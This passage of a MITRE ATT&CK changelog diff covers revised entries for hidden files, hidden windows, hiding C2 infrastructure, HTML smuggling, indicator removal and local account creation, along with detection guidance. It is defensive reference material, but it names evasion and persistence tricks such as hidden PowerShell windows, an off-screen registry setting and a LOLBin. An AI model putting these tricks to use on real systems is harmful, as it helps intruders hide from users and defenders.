x_mitre_detectionMonitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located. + +Monitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)
x_mitre_version1.31.4
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Rapid7', 'description': 'Condon, Caitlin. (2022, April 24). PetitPotam: Novel Attack Chain Can Fully Compromise Windows Domains. Retrieved May 30, 2025.', 'url': 'https://www.rapid7.com/blog/post/2021/08/03/petitpotam-novel-attack-chain-can-fully-compromise-windows-domains-running-ad-cs/'}
external_references{'source_name': 'GitHub', 'description': 'topotam. (2021, July 18). PetitPotam. PoC tool to coerce Windows hosts to authenticate to other machines. Retrieved May 30, 2025.', 'url': 'https://github.com/topotam/PetitPotam'}
x_mitre_contributorsJiraput Thamsongkrah
x_mitre_contributorsPurinut Wongwaiwuttiguldej
x_mitre_contributorsNatthawut Saexu

[T1027.006] Obfuscated Files or Information: HTML Smuggling

Current version: 1.3

Version changed from: 1.2 → 1.3

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:12.085000+00:002025-10-24 17:49:27.501000+00:00
x_mitre_detectionDetection of HTML Smuggling is difficult as HTML5 and JavaScript attributes are used by legitimate services and applications. HTML Smuggling can be performed in many ways via JavaScript, developing rules for the different variants, with a combination of different encoding and/or encryption schemes, may be very challenging.(Citation: Outlflank HTML Smuggling 2018) Detecting specific JavaScript and/or HTML5 attribute strings such as Blob, msSaveOrOpenBlob, and/or download may be a good indicator of HTML Smuggling. These strings may also be used by legitimate services therefore it is possible to raise false positives. + +Consider monitoring files downloaded from the Internet, possibly by HTML Smuggling, for suspicious activities. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities.
x_mitre_version1.21.3

[T1564.001] Hide Artifacts: Hidden Files and Directories

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may set files and directories to be hidden to evt1Adversaries may set files and directories to be hidden to ev
>ade detection mechanisms. To prevent normal users from accid>ade detection mechanisms. To prevent normal users from accid
>entally changing special files on a system, most operating s>entally changing special files on a system, most operating s
>ystems have the concept of a ‘hidden’ file. These files don’>ystems have the concept of a ‘hidden’ file. These files don’
>t show up when a user browses the file system with a GUI or >t show up when a user browses the file system with a GUI or 
>when using normal commands on the command line. Users must e>when using normal commands on the command line. Users must e
>xplicitly ask to show the hidden files either via a series o>xplicitly ask to show the hidden files either via a series o
>f Graphical User Interface (GUI) prompts or with command lin>f Graphical User Interface (GUI) prompts or with command lin
>e switches (<code>dir /a</code> for Windows and <code>ls –a<>e switches (<code>dir /a</code> for Windows and <code>ls –a<
>/code> for Linux and macOS).  On Linux and Mac, users can ma>/code> for Linux and macOS).  On Linux and Mac, users can ma
>rk specific files as hidden simply by putting a “.” as the f>rk specific files as hidden simply by putting a “.” as the f
>irst character in the file or folder name  (Citation: Sofacy>irst character in the file or folder name  (Citation: Sofacy
> Komplex Trojan) (Citation: Antiquated Mac Malware). Files a> Komplex Trojan) (Citation: Antiquated Mac Malware). Files a
>nd folders that start with a period, ‘.’, are by default hid>nd folders that start with a period, ‘.’, are by default hid
>den from being viewed in the Finder application and standard>den from being viewed in the Finder application and standard
> command-line utilities like “ls”. Users must specifically c> command-line utilities like “ls”. Users must specifically c
>hange settings to have these files viewable.  Files on macOS>hange settings to have these files viewable.  Files on macOS
> can also be marked with the UF_HIDDEN flag which prevents t> can also be marked with the UF_HIDDEN flag which prevents t
>hem from being seen in Finder.app, but still allows them to >hem from being seen in Finder.app, but still allows them to 
>be seen in Terminal.app (Citation: WireLurker). On Windows, >be seen in Terminal.app (Citation: WireLurker). On Windows, 
>users can mark specific files as hidden by using the attrib.>users can mark specific files as hidden by using the attrib.
>exe binary. Many applications create these hidden files and >exe binary. Many applications create these hidden files and 
>folders to store information so that it doesn’t clutter up t>folders to store information so that it doesn’t clutter up t
>he user’s workspace. For example, SSH utilities create a .ss>he user’s workspace. For example, SSH utilities create a .ss
>h folder that’s hidden and contains the user’s known hosts a>h folder that’s hidden and contains the user’s known hosts a
>nd keys.  Adversaries can use this to their advantage to hid>nd keys.  Additionally, adversaries may name files in a mann
>e files and folders anywhere on the system and evading a typ>er that would allow the file to be hidden such as naming a f
>ical user or system analysis that does not incorporate inves>ile only a “space” character.  Adversaries can use this to t
>tigation of hidden files.>heir advantage to hide files and folders anywhere on the sys
 >tem and evading a typical user or system analysis that does 
 >not incorporate investigation of hidden files.

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_contributors['Gr@ve_Rose (tcpdump101.com on bsky)']
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'File: File Creation', 'File: File Metadata', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:48:27.868000+00:002025-10-24 17:49:34.244000+00:00
descriptionAdversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS). + +On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. + +Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. + +Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS). + +On Linux and Mac, users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. + +Files on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. + +Additionally, adversaries may name files in a manner that would allow the file to be hidden such as naming a file only a “space” character. + +Adversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMonitor the file system and shell commands for files being created with a leading "." and the Windows command-line use of attrib.exe to add the hidden attribute.
x_mitre_version1.11.2

[T1564.003] Hide Artifacts: Hidden Window

Current version: 1.4

Version changed from: 1.3 → 1.4

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may use hidden windows to conceal malicious actit1Adversaries may use hidden windows to conceal malicious acti
>vity from the plain sight of users. In some cases, windows t>vity from the plain sight of users. In some cases, windows t
>hat would typically be displayed when an application carries>hat would typically be displayed when an application carries
> out an operation can be hidden. This may be utilized by sys> out an operation can be hidden. This may be utilized by sys
>tem administrators to avoid disrupting user work environment>tem administrators to avoid disrupting user work environment
>s when carrying out administrative tasks.   Adversaries may >s when carrying out administrative tasks.   Adversaries may 
>abuse these functionalities to hide otherwise visible window>abuse these functionalities to hide otherwise visible window
>s from users so as not to alert the user to adversary activi>s from users so as not to alert the user to adversary activi
>ty on the system.(Citation: Antiquated Mac Malware)  On macO>ty on the system.(Citation: Antiquated Mac Malware)  On macO
>S, the configurations for how applications run are listed in>S, the configurations for how applications run are listed in
> property list (plist) files. One of the tags in these files> property list (plist) files. One of the tags in these files
> can be <code>apple.awt.UIElement</code>, which allows for J> can be <code>apple.awt.UIElement</code>, which allows for J
>ava applications to prevent the application's icon from appe>ava applications to prevent the application's icon from appe
>aring in the Dock. A common use for this is when application>aring in the Dock. A common use for this is when application
>s run in the system tray, but don't also want to show up in >s run in the system tray, but don't also want to show up in 
>the Dock.  Similarly, on Windows there are a variety of feat>the Dock.  Similarly, on Windows there are a variety of feat
>ures in scripting languages, such as [PowerShell](https://at>ures in scripting languages, such as [PowerShell](https://at
>tack.mitre.org/techniques/T1059/001), Jscript, and [Visual B>tack.mitre.org/techniques/T1059/001), Jscript, and [Visual B
>asic](https://attack.mitre.org/techniques/T1059/005) to make>asic](https://attack.mitre.org/techniques/T1059/005) to make
> windows hidden. One example of this is <code>powershell.exe> windows hidden. One example of this is <code>powershell.exe
> -WindowStyle Hidden</code>.(Citation: PowerShell About 2019> -WindowStyle Hidden</code>.(Citation: PowerShell About 2019
>)  The Windows Registry can also be edited to hide applicati>)  The Windows Registry can also be edited to hide applicati
>on windows from the current user. For example, by setting th>on windows from the current user. For example, by setting th
>e `WindowPosition` subkey in the `HKEY_CURRENT_USER\Console\>e `WindowPosition` subkey in the `HKEY_CURRENT_USER\Console\
>%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe`>%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe`
> Registry key to a maximum value, PowerShell windows will op> Registry key to a maximum value, PowerShell windows will op
>en off screen and be hidden.(Citation: Cantoris Computing)  >en off screen and be hidden.(Citation: Cantoris Computing)  
>In addition, Windows supports the `CreateDesktop()` API that>In addition, Windows supports the `CreateDesktop()` API that
> can create a hidden desktop window with its own correspondi> can create a hidden desktop window with its own correspondi
>ng <code>explorer.exe</code> process.(Citation: Hidden VNC)(>ng <code>explorer.exe</code> process.(Citation: Hidden VNC)(
>Citation: Anatomy of an hVNC Attack)  All applications runni>Citation: Anatomy of an hVNC Attack)  All applications runni
>ng on the hidden desktop window, such as a hidden VNC (hVNC)>ng on the hidden desktop window, such as a hidden VNC (hVNC)
> session,(Citation: Hidden VNC) will be invisible to other d> session,(Citation: Hidden VNC) will be invisible to other d
>esktops windows.>esktops windows.  Adversaries may also leverage cmd.exe(Cita
 >tion: Cybereason - Hidden Malicious Remote Access) as a pare
 >nt process, and then utilize a LOLBin, such as DeviceCredent
 >ialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cr
 >ed Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to 
 >hide windows.

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Modification', 'Command: Command Execution', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Script: Script Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:07.977000+00:002025-10-24 17:49:23.485000+00:00
descriptionAdversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. + +Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware) + +On macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. + +Similarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.(Citation: PowerShell About 2019) + +The Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing) + +In addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows.Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. + +Adversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware) + +On macOS, the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. + +Similarly, on Windows there are a variety of features in scripting languages, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden.(Citation: PowerShell About 2019) + +The Windows Registry can also be edited to hide application windows from the current user. For example, by setting the `WindowPosition` subkey in the `HKEY_CURRENT_USER\Console\%SystemRoot%_System32_WindowsPowerShell_v1.0_PowerShell.exe` Registry key to a maximum value, PowerShell windows will open off screen and be hidden.(Citation: Cantoris Computing) + +In addition, Windows supports the `CreateDesktop()` API that can create a hidden desktop window with its own corresponding explorer.exe process.(Citation: Hidden VNC)(Citation: Anatomy of an hVNC Attack) All applications running on the hidden desktop window, such as a hidden VNC (hVNC) session,(Citation: Hidden VNC) will be invisible to other desktops windows. + +Adversaries may also leverage cmd.exe(Citation: Cybereason - Hidden Malicious Remote Access) as a parent process, and then utilize a LOLBin, such as DeviceCredentialDeployment.exe,(Citation: LOLBAS Project GitHub Device Cred Dep)(Citation: SecureList BlueNoroff Device Cred Dev) to hide windows.
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMonitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.
x_mitre_version1.31.4
iterable_item_added
STIX FieldOld valueNew Value
external_references{'source_name': 'Cybereason - Hidden Malicious Remote Access', 'description': 'Cybereason Security Services Team. (n.d.). Behind Closed Doors: The Rise of Hidden Malicious Remote Access. Retrieved July 22, 2025.', 'url': 'https://www.cybereason.com/blog/behind-closed-doors-the-rise-of-hidden-malicious-remote-access'}
external_references{'source_name': 'LOLBAS Project GitHub Device Cred Dep', 'description': 'Elliot Killick. (n.d.). /DeviceCredentialDeployment.exe. Retrieved July 22, 2025.', 'url': 'https://lolbas-project.github.io/lolbas/Binaries/DeviceCredentialDeployment/'}
external_references{'source_name': 'SecureList BlueNoroff Device Cred Dev', 'description': 'Seongsu Park. (2022, December 27). BlueNoroff introduces new methods bypassing MoTW. Retrieved July 22, 2025.', 'url': 'https://securelist.com/bluenoroff-methods-bypass-motw/108383/'}
x_mitre_contributorsLiran Ravich, CardinalOps

[T1665] Hide Infrastructure

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may manipulate network traffic in order to hide t1Adversaries may manipulate network traffic in order to hide 
>and evade detection of their C2 infrastructure. This can be >and evade detection of their C2 infrastructure. This can be 
>accomplished in various ways including by identifying and fi>accomplished by identifying and filtering traffic from defen
>ltering traffic from defensive tools,(Citation: TA571) maski>sive tools,(Citation: TA571) masking malicious domains to ob
>ng malicious domains to obfuscate the true destination from >fuscate the true destination from both automated scanning to
>both automated scanning tools and security researchers,(Cita>ols and security researchers,(Citation: Schema-abuse)(Citati
>tion: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-up>on: Facad1ng)(Citation: Browser-updates) and otherwise hidin
>dates) and otherwise hiding malicious artifacts to delay dis>g malicious artifacts to delay discovery and prolong the eff
>covery and prolong the effectiveness of adversary infrastruc>ectiveness of adversary infrastructure that could otherwise 
>ture that could otherwise be identified, blocked, or taken d>be identified, blocked, or taken down entirely.  C2 networks
>own entirely.  C2 networks may include the use of [Proxy](ht> may include the use of [Proxy](https://attack.mitre.org/tec
>tps://attack.mitre.org/techniques/T1090) or VPNs to disguise>hniques/T1090) or VPNs to disguise IP addresses, which can a
> IP addresses, which can allow adversaries to blend in with >llow adversaries to blend in with normal network traffic and
>normal network traffic and bypass conditional access policie> bypass conditional access policies or anti-abuse protection
>s or anti-abuse protections. For example, an adversary may u>s. For example, an adversary may use a virtual private cloud
>se a virtual private cloud to spoof their IP address to clos> to spoof their IP address to closer align with a victim's I
>er align with a victim's IP address ranges. This may also by>P address ranges. This may also bypass security measures rel
>pass security measures relying on geolocation of the source >ying on geolocation of the source IP address.(Citation: sysd
>IP address.(Citation: sysdig)(Citation: Orange Residential P>ig)(Citation: Orange Residential Proxies)  Adversaries may a
>roxies)  Adversaries may also attempt to filter network traf>lso attempt to filter network traffic in order to evade defe
>fic in order to evade defensive tools in numerous ways, incl>nsive tools in numerous ways, including blocking/redirecting
>uding blocking/redirecting common incident responder or secu> common incident responder or security appliance user agents
>rity appliance user agents.(Citation: mod_rewrite)(Citation:>.(Citation: mod_rewrite)(Citation: SocGholish-update) Filter
> SocGholish-update) Filtering traffic based on IP and geo-fe>ing traffic based on IP and geo-fencing may also avoid autom
>ncing may also avoid automated sandboxing or researcher acti>ated sandboxing or researcher activity (i.e., [Virtualizatio
>vity (i.e., [Virtualization/Sandbox Evasion](https://attack.>n/Sandbox Evasion](https://attack.mitre.org/techniques/T1497
>mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod>)).(Citation: TA571)(Citation: mod_rewrite)  Hiding C2 infra
>_rewrite)  Hiding C2 infrastructure may also be supported by>structure may also be supported by [Resource Development](ht
> [Resource Development](https://attack.mitre.org/tactics/TA0>tps://attack.mitre.org/tactics/TA0042) activities such as [A
>042) activities such as [Acquire Infrastructure](https://att>cquire Infrastructure](https://attack.mitre.org/techniques/T
>ack.mitre.org/techniques/T1583) and [Compromise Infrastructu>1583) and [Compromise Infrastructure](https://attack.mitre.o
>re](https://attack.mitre.org/techniques/T1584). For example,>rg/techniques/T1584). For example, using widely trusted host
> using widely trusted hosting services or domains such as pr>ing services or domains such as prominent URL shortening pro
>ominent URL shortening providers or marketing services for C>viders or marketing services for C2 networks may enable adve
>2 networks may enable adversaries to present benign content >rsaries to present benign content that later redirects victi
>that later redirects victims to malicious web pages or infra>ms to malicious web pages or infrastructure once specific co
>structure once specific conditions are met.(Citation: StarBl>nditions are met.(Citation: StarBlizzard)(Citation: QR-cofen
>izzard)(Citation: QR-cofense)>se)

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Internet Scan: Response Metadata', 'Network Traffic: Network Traffic Content', 'Domain Name: Domain Registration', 'Internet Scan: Response Content']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:18.948000+00:002025-10-22 03:57:22.646000+00:00
descriptionAdversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished in various ways including by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely. + +C2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies) + +Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod_rewrite) + +Hiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042) activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense)Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely. + +C2 networks may include the use of [Proxy](https://attack.mitre.org/techniques/T1090) or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies) + +Adversaries may also attempt to filter network traffic in order to evade defensive tools in numerous ways, including blocking/redirecting common incident responder or security appliance user agents.(Citation: mod_rewrite)(Citation: SocGholish-update) Filtering traffic based on IP and geo-fencing may also avoid automated sandboxing or researcher activity (i.e., [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)).(Citation: TA571)(Citation: mod_rewrite) + +Hiding C2 infrastructure may also be supported by [Resource Development](https://attack.mitre.org/tactics/TA0042) activities such as [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) and [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584). For example, using widely trusted hosting services or domains such as prominent URL shortening providers or marketing services for C2 networks may enable adversaries to present benign content that later redirects victims to malicious web pages or infrastructure once specific conditions are met.(Citation: StarBlizzard)(Citation: QR-cofense)
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_version1.11.2

[T1070] Indicator Removal

Current version: 2.4

Version changed from: 2.3 → 2.4

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Scheduled Job: Scheduled Job Modification', 'File: File Modification', 'Firewall: Firewall Rule Modification', 'User Account: User Account Authentication', 'File: File Metadata', 'User Account: User Account Deletion', 'Process: OS API Execution', 'Application Log: Application Log Content', 'Command: Command Execution', 'File: File Deletion', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification', 'Network Traffic: Network Traffic Content', 'Windows Registry: Windows Registry Key Deletion']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:58:43.436000+00:002025-10-24 17:48:59.237000+00:00
x_mitre_detectionFile system monitoring may be used to detect improper deletion or modification of indicator files. Events not stored on the file system may require different detection mechanisms.
x_mitre_version2.32.4

[T1105] Ingress Tool Transfer

Current version: 2.6

Version changed from: 2.5 → 2.6

New Mitigations:

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['File: File Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Command: Command Execution', 'Network Traffic: Network Connection Creation']
values_changed
STIX FieldOld valueNew Value
modified2025-04-15 19:59:17.217000+00:002025-10-24 17:49:32.714000+00:00
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionMonitor for file creation and files transferred into the network. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as [ftp](https://attack.mitre.org/software/S0095), that does not normally occur may also be suspicious. + +Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Specifically, for the finger utility on Windows and Linux systems, monitor command line or terminal execution for the finger command. Monitor network activity for TCP port 79, which is used by the finger utility, and Windows netsh interface portproxy modifications to well-known ports such as 80 and 443. Furthermore, monitor file system for the download/creation and execution of suspicious files, which may indicate adversary-downloaded payloads. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)
x_mitre_version2.52.6
iterable_item_added
STIX FieldOld valueNew Value
x_mitre_contributorsDon Le, Stifel Financial

[T1016.001] System Network Configuration Discovery: Internet Connection Discovery

Current version: 1.2

Version changed from: 1.1 → 1.2

+ + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may check for Internet connectivity on compromist1Adversaries may check for Internet connectivity on compromis
>ed systems. This may be performed during automated discovery>ed systems. This may be performed during automated discovery
> and can be accomplished in numerous ways such as using [Pin> and can be accomplished in numerous ways such as using [Pin
>g](https://attack.mitre.org/software/S0097), <code>tracert</>g](https://attack.mitre.org/software/S0097), <code>tracert</
>code>, and GET requests to websites.  Adversaries may use th>code>, and GET requests to websites, or performing initial s
>e results and responses from these requests to determine if >peed testing to confirm bandwidth.  Adversaries may use the 
>the system is capable of communicating with their C2 servers>results and responses from these requests to determine if th
> before attempting to connect to them. The results may also >e system is capable of communicating with their C2 servers b
>be used to identify routes, redirectors, and proxy servers.>efore attempting to connect to them. The results may also be
 > used to identify routes, redirectors, and proxy servers.

Dropped Detections (Data Components -> Technique):

New Detections (Detection Strategies -> Technique):

Details
dictionary_item_added
STIX FieldOld valueNew Value
x_mitre_contributors['Christopher Peacock']
dictionary_item_removed
STIX FieldOld valueNew Value
x_mitre_data_sources['Process: Process Creation', 'Command: Command Execution']
values_changed
STIX FieldOld valueNew Value
modified2025-04-25 14:45:52.631000+00:002025-10-24 17:48:26.017000+00:00
descriptionAdversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites. + +Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.Adversaries may check for Internet connectivity on compromised systems. This may be performed during automated discovery and can be accomplished in numerous ways such as using [Ping](https://attack.mitre.org/software/S0097), tracert, and GET requests to websites, or performing initial speed testing to confirm bandwidth. + +Adversaries may use the results and responses from these requests to determine if the system is capable of communicating with their C2 servers before attempting to connect to them. The results may also be used to identify routes, redirectors, and proxy servers.
x_mitre_attack_spec_version3.2.03.3.0
x_mitre_detectionSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Command and Control, based on the information obtained. + +Monitor processes and command-line arguments for actions that could be taken to check Internet connectivity.
x_mitre_version1.11.2

[T1136.001] Create Account: Local Account

Current version: 1.5

Version changed from: 1.4 → 1.5

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +

Old Description
New Description
t1Adversaries may create a local account to maintain access tot1Adversaries may create a local account to maintain access to
> victim systems. Local accounts are those configured by an o> victim systems. Local accounts are those configured by an o
>rganization for use by users, remote support, services, or f>rganization for use by users, remote support, services, or f
>or administration on a single system or service.   For examp>or administration on a single system or service.   For examp
>le, with a sufficient level of access, the Windows <code>net>le, with a sufficient level of access, the Windows <code>net
> user /add</code> command can be used to create a local acco> user /add</code> command can be used to create a local acco
>unt.  In Linux, the `useradd` command can be used, while on >unt.  In Linux, the `useradd` command can be used, while on 
>macOS systems, the <code>dscl -create</code> command can be >macOS systems, the <code>dscl -create</code> command can be 
>used. Local accounts may also be added to network devices, o>used. Local accounts may also be added to network devices, o
>ften via common [Network Device CLI](https://attack.mitre.or>ften via common [Network Device CLI](https://attack.mitre.or
>g/techniques/T1059/008) commands such as <code>username</cod>g/techniques/T1059/008) commands such as <code>username</cod
>e>, to ESXi servers via `esxcli system account add`, or to K>e>, to ESXi servers via `esxcli system account add`, or to K
>ubernetes clusters using the `kubectl` utility.(Citation: ci>ubernetes clusters using the `kubectl` utility.(Citation: ci
>sco_username_cmd)(Citation: Kubernetes Service Accounts Secu>sco_username_cmd)(Citation: Kubernetes Service Accounts Secu
>rity)  Such accounts may be used to establish secondary cred>rity)  Adversaries may also create new local accounts on net
>entialed access that do not require persistent remote access>work firewall management consoles – for example, by exploiti
> tools to be deployed on the system.>ng a vulnerable firewall management system, threat actors ma
 >y be able to establish super-admin accounts that could be us
 >ed to modify firewall rules and gain further access to the n
 >etwork.(Citation: Cyber Security News)  Such accounts may be
